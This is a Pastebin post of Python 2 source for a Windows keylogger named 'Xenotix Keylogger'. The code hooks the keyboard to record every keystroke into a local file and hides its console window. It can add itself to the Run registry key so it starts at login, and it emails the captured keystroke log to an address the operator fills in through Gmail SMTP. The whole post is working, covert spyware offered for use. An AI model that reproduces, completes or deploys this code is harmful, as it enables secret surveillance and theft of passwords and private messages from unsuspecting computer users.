Advertisement
Guest User

Untitled

a guest
Jan 2nd, 2017
99
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.45 KB | None | 0 0
  1. try:
  2. import pythoncom, pyHook
  3. except:
  4. print "Please Install pythoncom and pyHook modules"
  5. exit(0)
  6. import os
  7. import sys
  8. import threading
  9. import urllib,urllib2
  10. import smtplib
  11. import ftplib
  12. import datetime,time
  13.  
  14. from os.path import basename
  15. from email.mime.application import MIMEApplication
  16. from email.mime.multipart import MIMEMultipart
  17. from email.mime.text import MIMEText
  18. from email.utils import COMMASPACE, formatdate
  19.  
  20. import win32event, win32api, winerror
  21. from _winreg import *
  22.  
  23. #Disallowing Multiple Instance
  24. mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')
  25. if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
  26. mutex = None
  27. print "Multiple Instance not Allowed"
  28. exit(0)
  29. x=''
  30. data=''
  31. count=0
  32.  
  33. log_path = 'C:\kl.txt'
  34.  
  35. #Hide Console
  36. def hide():
  37. import win32console,win32gui
  38. window = win32console.GetConsoleWindow()
  39. win32gui.ShowWindow(window,0)
  40. return True
  41.  
  42. def msg():
  43. print """"""
  44. return True
  45.  
  46. # Add to startup
  47. def addStartup():
  48. fp=os.path.dirname(os.path.realpath(__file__))
  49. file_name=sys.argv[0].split("\\")[-1]
  50. new_file_path=fp+"\\"+file_name
  51. keyVal= r'Software\Microsoft\Windows\CurrentVersion\Run'
  52. key2change= OpenKey(HKEY_CURRENT_USER,keyVal,0,KEY_ALL_ACCESS)
  53. SetValueEx(key2change, "Xenotix Keylogger",0,REG_SZ, new_file_path)
  54.  
  55. #Local Keylogger
  56. def local():
  57. global data
  58. if len(data)>20:
  59. fp=open(log_path,"a")
  60. fp.write(data)
  61. fp.close()
  62. data=''
  63. return True
  64.  
  65. def send_daily():
  66. ts = datetime.datetime.now()
  67. SERVER = "smtp.gmail.com" #Specify Server Here
  68. PORT = 587 #Specify Port Here
  69. USER=""#Specify Username Here
  70. PASS=""#Specify Password Here
  71. FROM = USER#From address is taken from username
  72. TO = [""] #Specify to address.Use comma if more than one to address is needed.
  73. SUBJECT = "Keylogger data: "+str(ts)
  74. MESSAGE = data
  75.  
  76. mensaje = MIMEMultipart(
  77. From="From: %s" % FROM,
  78. To="To: %s" % ", ".join(TO),
  79. Date=formatdate(localtime=True),
  80. Subject=SUBJECT
  81. )
  82.  
  83. try:
  84. with open(log_path, "rb") as fil:
  85. mensaje.attach(MIMEApplication(
  86. fil.read(),
  87. Content_Disposition='attachment; filename="kl.txt"',
  88. Name='kl.txt'
  89. ))
  90.  
  91. server = smtplib.SMTP()
  92. server.connect(SERVER,PORT)
  93. server.ehlo()
  94. server.starttls()
  95. server.login(USER,PASS)
  96. server.sendmail(FROM, TO, mensaje.as_string())
  97. server.quit()
  98. with open(log_path,"w") as fp:
  99. fp.write('NEW ENTRY %s' % ts)
  100. fp.write('\n')
  101.  
  102. except Exception as e:
  103. print e
  104.  
  105. def main():
  106. global x
  107. if len(sys.argv)==1:
  108. msg()
  109. exit(0)
  110. else:
  111. if len(sys.argv)>2:
  112. if sys.argv[2]=="startup":
  113. addStartup()
  114. else:
  115. msg()
  116. exit(0)
  117. if sys.argv[1]=="local":
  118. x=1
  119. hide()
  120. send_daily()
  121. else:
  122. msg()
  123. exit(0)
  124. return True
  125.  
  126. if __name__ == '__main__':
  127. main()
  128.  
  129. def keypressed(event):
  130. global x,data
  131. if event.Ascii==13:
  132. keys='<ENTER>'
  133. elif event.Ascii==8:
  134. keys='<BACK SPACE>'
  135. elif event.Ascii==9:
  136. keys='<TAB>'
  137. else:
  138. keys=chr(event.Ascii)
  139. data=data+keys
  140. if x==1:
  141. local()
  142.  
  143. obj = pyHook.HookManager()
  144. obj.KeyDown = keypressed
  145. obj.HookKeyboard()
  146. pythoncom.PumpMessages()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement